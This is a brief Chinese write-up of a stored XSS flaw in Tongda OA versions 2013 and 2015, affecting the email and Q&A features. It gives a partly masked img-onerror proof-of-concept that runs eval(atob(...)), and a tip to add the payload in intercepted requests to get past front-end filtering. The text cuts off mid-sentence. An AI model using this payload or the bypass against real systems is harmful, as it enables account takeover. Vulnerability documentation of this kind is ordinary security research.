# 通达 oa xss

## 一、漏洞简介

## 二、漏洞影响

2013、2015 版本

## 三、复现过程

发邮件的地方、问题问答的地方都存在 XSS，可获取他人账号权限。一般情况下，OA 会有前端进行过滤， 所以抓包时候去添加 payload，之后会对事件进行过滤，所以使用

poc

```
<img src=x onerror=eval(atob('cz1jcmVXXXXXytNYXRoXXXXXXXXhbmRvbSgp'))>
```



这个漏洞获取 admin 权限非